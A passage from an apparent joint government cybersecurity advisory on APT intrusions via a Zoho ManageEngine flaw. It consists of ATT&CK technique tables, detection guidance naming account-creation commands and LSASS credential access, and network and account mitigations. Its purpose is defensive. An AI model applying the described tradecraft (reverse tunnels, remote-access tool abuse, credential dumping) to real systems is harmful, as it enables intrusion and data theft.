Lateral Tool Transfer	T1570	Actors compromised one host and moved laterally to install anydesk.exe on two additional hosts.

Table 12: Collection

Technique Title	ID	Use
Data Staged	T1074	Actors executed xpack.exe malware from a hidden directory. This malware was predominantly used to execute system commands, drop additional malware and tools, and stage data for exfiltration.

Table 13: Command and Control

Technique Title	ID	Use
Application Layer Protocol: Web Protocols	T1071.001	Hello World User-Agent string was identified in a HTTP request. Communication occurred between the organization’s web server and an actor-controlled C2 IP address.
Remote Access Software	T1219	Actors leveraged ConnectWise ScreenConnect to connect to the ServiceDesk system. Anydesk.exe was run on at least three different hosts in the environment.
Non-Standard Port	T1571	Actors initiated multiple TLS-encrypted sessions on non-standard TCP port 10443.
Protocol Tunneling	T1572	Actors were observed leveraging SSH to build a reverse tunnel with their C2 server to dynamically forward traffic into the victim organization’s environment. Using Ngrok as an external service, actors were also able to gain access to and use the command line on victim systems via RDP.
Encrypted Channel: Asymmetric Cryptography	T1573.002	Actors initiated multiple TLS-encrypted sessions on TCP port 10443, indicating successful exchanges of data transfer from the firewall device.

DETECTION METHODS

CISA and co-sealers recommend reviewing Tables 3-13: Identified ATT&CK Techniques for Enterprise in conjunction with the detections in this section to identify similar activity.

• Enable logging for new user creation [DS0002], as well as monitor executed commands and arguments for actions that are associated with local account creation, such as net user /add, useradd, and dscl -create [DS0017].
• Monitor for newly constructed scheduled tasks by enabling the “Microsoft-Windows-TaskScheduler/Operational” setting within the event logging service. Monitor for changes made to scheduled tasks that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools [DS0003].
• Monitor for API calls that may create or modify Windows services (ex: CreateServiceW()) to repeatedly execute malicious payloads as part of persistence [DS0009].
• Monitor executed commands and arguments that may attempt to access credential material stored in the process memory of the LSASS [DS0017].
• Monitor for user accounts logged into systems associated with RDP (ex: Windows EID 4624 Logon Type 10) [DS0028].
• Monitor for newly-constructed network connections associated with pings/scans that may attempt to collect a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for lateral movement from the current system [DS0029].
• Conduct full port scans (1-65535) on internet-facing systems—not just a subset of the ports.

MITIGATIONS

Note: These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

Manage Vulnerabilities and Configurations [CPG 1.E, CPG 3.A]

CISA and co-sealers identified that exploitation of CVE-2022-47966 granted initial access to the public-facing application, Zoho ManageEngine ServiceDesk Plus. Multiple Zoho ManageEngine on-premises products, such as ServiceDesk Plus through 14003, allow remote code execution due to use of version 1.4.1 of Apache XML Security for Java (also known as xmlsec) from the Apache Santuario project. Due to the xmlsec XSLT features by design in that version, the application is responsible for certain security protections. CISA and co-sealers recommend the following:

• Document device configurations [CPG 2.O]. Organizations should maintain updated documentation describing the current configuration details of all critical IT assets (and OT, where applicable), as this facilitates more effective vulnerability and response activities.
• Keep all software up to date and patch systems for known exploited vulnerabilities. In places with known exploited vulnerabilities on an endpoint device (e.g., firewall security appliances), conduct investigation prior to patching [CPG 1.E].
• Follow a routine patching cycle [M1051] for all operating systems, applications, and software (including all third-party software) to mitigate the potential for exploitation.
• Prioritize remediation of vulnerabilities on internet-facing systems, for example, by conducting continuous automated and/or routine vulnerability scans [M1016]. CISA offers a range of services at no cost, including scanning and testing to help organizations reduce exposure to threats via mitigating attack vectors. Specifically, Cyber Hygiene services can help provide a second-set of eyes on organizations’ internet-accessible assets. Organizations can email vulnerability@cisa.dhs.gov with the subject line, “Requesting Cyber Hygiene Services” to get started. For additional guidance on remediating these vulnerabilities, see CISA Insights – Remediate Vulnerabilities for Internet-Accessible Systems.
• Deploy security.txt files [CPG 4.C]. All public-facing web domains have a security.txt file that conforms to the recommendations in RFC 9116.[9]

Segment Networks [CPG 2.F]

CISA and co-sealers identified that the organization did not employ proper network segmentation, such as a demilitarized zone (DMZ), during the initial discovery phase of the incident response. A DMZ serves as a perimeter network that protects and adds an extra layer of security to an organization’s internal local area network (LAN) from untrusted traffic.

• Employ proper network segmentation, such as a DMZ, and ensure to address the following recommendations. Note: The end goal of a DMZ network is to allow an organization to access untrusted networks, such as the internet, while ensuring its private network or LAN remains secure. Organizations typically store external-facing services and resources, as well as servers for DNS, File Transfer Protocol (FTP), mail, proxy, Voice over Internet Protocol (VoIP), and web servers in the DMZ [CPG 2.K, CPG 2.W].
  • Limit internet-facing port exposure for critical resources in the DMZ networks.
  • Limit exposed ports to only required IP addresses and avoid placing wildcards in destination port or host entries.
  • Ensure unsecured protocols like FTP and HTTP are limited in use and restricted to specific IP ranges.
  • If data flows from untrusted zone to trusted zone, ensure it is conducted over a secure protocol like HTTPS with mandatory multi-factor authentication.
• Use a firewall or web-application firewall (WAF) and enable logging to prevent/detect potential exploitation attempts [M1050]. Review ingress and egress firewall rules and block all unapproved protocols. Limit risky (but approved) protocols through rules.
  • Use WAF to limit exposure to just approved ports, as well as monitor file changes in web directories.
• Implement network segmentation to separate network segments based on role and functionality. Proper network segmentation significantly reduces the ability for threat actor lateral movement by controlling traffic flows between—and access to—various subnetworks. See CISA’s Layering Network Security Through Segmentation infographic and the National Security Agency’s (NSA’s) Segment Networks and Deploy Application-Aware Defenses.

Manage Accounts, Permissions, and Workstations

APT actors were able to leverage disabled administrative accounts, as well as clear logs on several critical servers, which prevented the ability to detect follow-on exploitation or data exfiltration. CISA and co-sealers recommend the following:

• Use phishing-resistant multi-factor authentication (MFA) [CPG 2.H] (e.g., security tokens) for remote access and access to any sensitive data repositories. Implement phishing-resistant MFA for as many services possible—particularly for webmail and VPNs—for accounts that access critical systems and privileged accounts that manage backups. MFA should also be used for remote logins [M1032]. For additional guidance on secure MFA configurations, visit cisa.gov/MFA and CISA’s Implementing Phishing-Resistant MFA Factsheet.
• Employ strong password management alongside other attribute-based information, such as device information, time of access, user history, and geolocation data. Set a password policy to require complex passwords for all users (minimum of 16 characters) and enforce this new requirement as users’ passwords expire [CPG 2.A, CPG 2.B, CPG 2.C].
• Implement the principle of least privilege to decrease threat actors’ abilities to access key network resources.
• Limit the ability of a local administrator account to log in from a local interactive session [CPG 2.E] (e.g., “Deny access to this computer from the network”) and prevent access via an RDP session.
• Establish policy and procedure for the prompt removal of unnecessary (disabled) accounts and groups from the enterprise that are no longer needed, especially privileged accounts. Implement and enforce use of Local Administrator Password Solution (LAPS).
• Control and limit local administration, ensuring administrative users do not have access to other systems outside of the local machine and across the domain.
• Create a change control process for all privilege escalations and role changes on user accounts. Enable alerts on privilege escalations and role changes, as well as log privileged user changes in the network environment and create alerts for abnormal events.
• Create and deploy a secure system baseline image to all workstations. See Microsoft’s guidance on Using Security Baselines in Your Organization.
• Implement policies to block workstation-to-workstation RDP connections [CPG 2.V] through a Group Policy Object on Windows, or by a similar mechanism. The RDP service should be disabled if it is unnecessary [M1042].

Secure Remote Access Software

Remote access software provides a proactive and flexible approach for organizations to internally oversee networks, computers, and other devices; however, cyber threat actors increasingly co-opt these tools for access to victim systems. APT actors were observed using legitimate remote access tools—ConnectWise ScreenConnect and AnyDesk—to connect to victim hosts within the organization’s environment and further conduct malicious operations. CISA and co-sealers recommend the following:

• Establish a software behavior baseline to detect anomalies in behavior [CPG 2.T, CPG 2.U].
• Monitor for unauthorized use of remote access software using endpoint detection tools.

For more information, see CISA’s joint Guide to Securing Remote Access Software on best practices for using remote capabilities and how to detect and defend against malicious actors abusing this software.

Other Best Practice Mitigation Recommendations

• Use application allowlists on domain controllers, administrative hosts, and other sensitive systems. Following exploitation of the public-facing application (Zoho ManageEngine ServiceDesk Plus), APT actors were able to download and execute multiple files on the system, which were then utilized to enumerate the network and perform reconnaissance operations.
  • Use directory allowlisting rather than attempting to list every possible permutation of applications in a network environment. Safe defaults allow applications to run from PROGRAMFILES, PROGRAMFILES(X86), and SYSTEM32. Disallow all other locations unless an exception is granted and documented. Application directory allowlisting can be enabled through Microsoft Software Restriction Policy or AppLocker and can prevent the execution of unauthorized software.
• Audit scheduled tasks and validate all findings via a Group Policy Object (GPO) or endpoint detection and response (EDR) solution.
• Follow Microsoft’s Best Practices for Securing Active Directory.
• Review NSA’s Network Infrastructure Security Guide.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, CISA and co-sealers recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA and co-sealers also recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Tables 3-13).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA and co-sealers recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. CISA, the FBI, and CNMF do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA, the FBI, or CNMF.

REFERENCES

1. Snort: Known Malicious User-Agent String – Mirai
2. MITRE: Mimikatz
3. MITRE: Ngrok
4. AA22-320A: Iranian Government-Sponsored APT Actors Compromise Federal Network, Deploy Crypto Miner, Credential Harvester
5. AA22-294A: #StopRansomware: Daixin Team
6. AA23-075A: #StopRansomware: LockBit 3.0
7. GitHub: Interactsh
8. Microsoft: Quser
9. Internet Engineering Task Force (IETF): RFC 9116

VERSION HISTORY

September 7, 2023: Initial version.